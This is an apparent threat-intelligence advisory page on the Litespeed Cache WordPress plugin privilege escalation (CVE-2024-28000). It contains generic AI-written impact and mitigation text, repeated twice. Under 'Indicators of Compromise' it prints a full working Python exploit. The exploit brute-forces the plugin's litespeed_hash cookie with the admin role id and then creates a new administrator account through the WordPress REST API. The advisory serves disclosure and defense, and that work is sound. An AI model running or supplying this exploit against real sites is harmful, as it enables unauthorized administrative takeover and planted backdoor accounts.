Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
AI Analysis
Technical Summary
The Litespeed Cache WordPress Plugin version 6.3.0.1 contains a privilege escalation vulnerability that allows an attacker to gain elevated privileges beyond their authorized access level within a WordPress environment. Privilege escalation vulnerabilities typically enable attackers with limited access to perform unauthorized actions, potentially leading to full administrative control over the affected WordPress site. Given that Litespeed Cache is a widely used performance optimization plugin for WordPress, this vulnerability poses a significant risk to websites relying on it. The exploit code is publicly available and written in Python, which facilitates automated exploitation by attackers. Although no known exploits are currently observed in the wild, the presence of exploit code lowers the barrier for attackers to weaponize this vulnerability. The lack of detailed technical specifics such as the exact attack vector or the authentication requirements limits the granularity of the analysis, but the high severity rating indicates a serious flaw likely impacting confidentiality, integrity, and availability of affected systems. The vulnerability could allow attackers to modify website content, inject malicious code, steal sensitive data, or disrupt service availability by leveraging escalated privileges within the WordPress environment.
Potential Impact
For European organizations, especially those relying on WordPress for their web presence, this vulnerability could lead to significant operational and reputational damage. Compromised websites could be used to distribute malware, conduct phishing campaigns, or serve as a foothold for further network intrusion. Organizations in sectors such as e-commerce, media, and public services that use WordPress extensively may face data breaches involving customer information or intellectual property. Additionally, defacement or downtime caused by exploitation could erode customer trust and lead to financial losses. The impact is heightened in Europe due to stringent data protection regulations like GDPR, where breaches involving personal data can result in substantial fines. The absence of known exploits in the wild currently provides a window for proactive mitigation, but the availability of exploit code increases the risk of imminent attacks.
Mitigation Recommendations
1. Immediate upgrade to a patched version of the Litespeed Cache plugin once available; monitor official Litespeed and WordPress security advisories for updates. 2. Implement strict access controls and limit plugin management capabilities to trusted administrators only. 3. Conduct an audit of current user privileges within WordPress to ensure no excessive permissions are granted unnecessarily. 4. Employ Web Application Firewalls (WAFs) with custom rules to detect and block exploitation attempts targeting this vulnerability. 5. Monitor web server and WordPress logs for unusual activity indicative of privilege escalation attempts, such as unexpected admin-level actions from lower-privileged accounts. 6. Regularly back up WordPress sites and databases to enable rapid restoration in case of compromise. 7. Consider isolating critical WordPress instances in segmented network zones to reduce lateral movement risk. 8. Educate site administrators about the risks of privilege escalation and the importance of timely patching and monitoring.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Poland, Sweden
Indicators of Compromise
- exploit-code: # Exploit Title: Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation # Date: 2025-06-10 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Country: United Kingdom # CVE : CVE-2024-28000 import requests import random import string import concurrent.futures # Configuration target_url = 'http://example.com' rest_api_endpoint = '/wp-json/wp/v2/users' ajax_endpoint = '/wp-admin/admin-ajax.php' admin_user_id = '1' num_hash_attempts = 1000000 num_workers = 10 new_username = 'newadminuser' # Replace with desired username new_user_password = 'NewAdminPassword123!' # Replace with a secure password def mt_srand(seed=None): """ Mimics PHP's mt_srand function by setting the seed for random number generation. """ random.seed(seed) def mt_rand(min_value=0, max_value=2**32 - 1): """ Mimics PHP's mt_rand function by generating a random number within the specified range. """ return random.randint(min_value, max_value) def generate_random_string(length=6): """ Generates a random string based on the output of mt_rand. """ chars = string.ascii_letters + string.digits return ''.join(random.choices(chars, k=length)) def trigger_hash_generation(): payload = { 'action': 'async_litespeed', 'litespeed_type': 'crawler' } try: response = requests.post(f'{target_url}{ajax_endpoint}', data=payload) if response.status_code == 200: print('[INFO] Triggered hash generation.') else: print(f'[ERROR] Failed to trigger hash generation - Status code: {response.status_code}') except requests.RequestException as e: print(f'[ERROR] AJAX request failed: {e}') def attempt_hash(hash_value): cookies = { 'litespeed_hash': hash_value, 'litespeed_role': admin_user_id } try: response = requests.post(f'{target_url}{rest_api_endpoint}', cookies=cookies) return response, cookies except requests.RequestException as e: print(f'[ERROR] Request failed: {e}') return None, None def create_admin_user(cookies): user_data = { 'username': new_username, 'password': new_user_password, 'email': f'{new_username}@example.com', 'roles': ['administrator'] } try: response = requests.post(f'{target_url}{rest_api_endpoint}', cookies=cookies, json=user_data) if response.status_code == 201: print(f'[SUCCESS] New admin user "{new_username}" created successfully!') else: print(f'[ERROR] Failed to create admin user - Status code: {response.status_code} - Response: {response.text}') except requests.RequestException as e: print(f'[ERROR] User creation request failed: {e}') def worker(): for _ in range(num_hash_attempts // num_workers): random_string = generate_random_string() print(f'[DEBUG] Trying hash: {random_string}') response, cookies = attempt_hash(random_string) if response is None: continue print(f'[DEBUG] Response status code: {response.status_code}') print(f'[DEBUG] Response content: {response.text}') if response.status_code == 201: print(f'[SUCCESS] Valid hash found: {random_string}') create_admin_user(cookies) return elif response.status_code == 401: print(f'[FAIL] Invalid hash: {random_string}') else: print(f'[ERROR] Unexpected response for hash: {random_string} - Status code: {response.status_code}') def main(): # Seeding the random number generator (mimicking mt_srand) mt_srand() trigger_hash_generation() with concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) as executor: futures = [executor.submit(worker) for _ in range(num_workers)] concurrent.futures.wait(futures) if __name__ == '__main__': main()
Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
Description
Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
AI-Powered Analysis
Technical Analysis
The Litespeed Cache WordPress Plugin version 6.3.0.1 contains a privilege escalation vulnerability that allows an attacker to gain elevated privileges beyond their authorized access level within a WordPress environment. Privilege escalation vulnerabilities typically enable attackers with limited access to perform unauthorized actions, potentially leading to full administrative control over the affected WordPress site. Given that Litespeed Cache is a widely used performance optimization plugin for WordPress, this vulnerability poses a significant risk to websites relying on it. The exploit code is publicly available and written in Python, which facilitates automated exploitation by attackers. Although no known exploits are currently observed in the wild, the presence of exploit code lowers the barrier for attackers to weaponize this vulnerability. The lack of detailed technical specifics such as the exact attack vector or the authentication requirements limits the granularity of the analysis, but the high severity rating indicates a serious flaw likely impacting confidentiality, integrity, and availability of affected systems. The vulnerability could allow attackers to modify website content, inject malicious code, steal sensitive data, or disrupt service availability by leveraging escalated privileges within the WordPress environment.
Potential Impact
For European organizations, especially those relying on WordPress for their web presence, this vulnerability could lead to significant operational and reputational damage. Compromised websites could be used to distribute malware, conduct phishing campaigns, or serve as a foothold for further network intrusion. Organizations in sectors such as e-commerce, media, and public services that use WordPress extensively may face data breaches involving customer information or intellectual property. Additionally, defacement or downtime caused by exploitation could erode customer trust and lead to financial losses. The impact is heightened in Europe due to stringent data protection regulations like GDPR, where breaches involving personal data can result in substantial fines. The absence of known exploits in the wild currently provides a window for proactive mitigation, but the availability of exploit code increases the risk of imminent attacks.
Mitigation Recommendations
1. Immediate upgrade to a patched version of the Litespeed Cache plugin once available; monitor official Litespeed and WordPress security advisories for updates. 2. Implement strict access controls and limit plugin management capabilities to trusted administrators only. 3. Conduct an audit of current user privileges within WordPress to ensure no excessive permissions are granted unnecessarily. 4. Employ Web Application Firewalls (WAFs) with custom rules to detect and block exploitation attempts targeting this vulnerability. 5. Monitor web server and WordPress logs for unusual activity indicative of privilege escalation attempts, such as unexpected admin-level actions from lower-privileged accounts. 6. Regularly back up WordPress sites and databases to enable rapid restoration in case of compromise. 7. Consider isolating critical WordPress instances in segmented network zones to reduce lateral movement risk. 8. Educate site administrators about the risks of privilege escalation and the importance of timely patching and monitoring.
Affected Countries
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Technical Details
- Edb Id
- 52328
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
# Exploit Title: Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation # Date: 2025-06-10 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Country: United Kingdom # CVE : CVE-2024-28000 import requests import random import string import concurrent.futures # Configuration target_url = 'http://example.com' rest_api_endpoint = '/wp-json/wp/v2/users' ajax_endpoint = '/wp-admin/admin-ajax.php' admin_user_... (3514 more characters)
Threat ID: 684fad5ba8c921274383b10a
Added to database: 6/16/2025, 5:36:27 AM
Last enriched: 6/16/2025, 5:38:16 AM
Last updated: 8/15/2025, 2:11:46 PM
Views: 32
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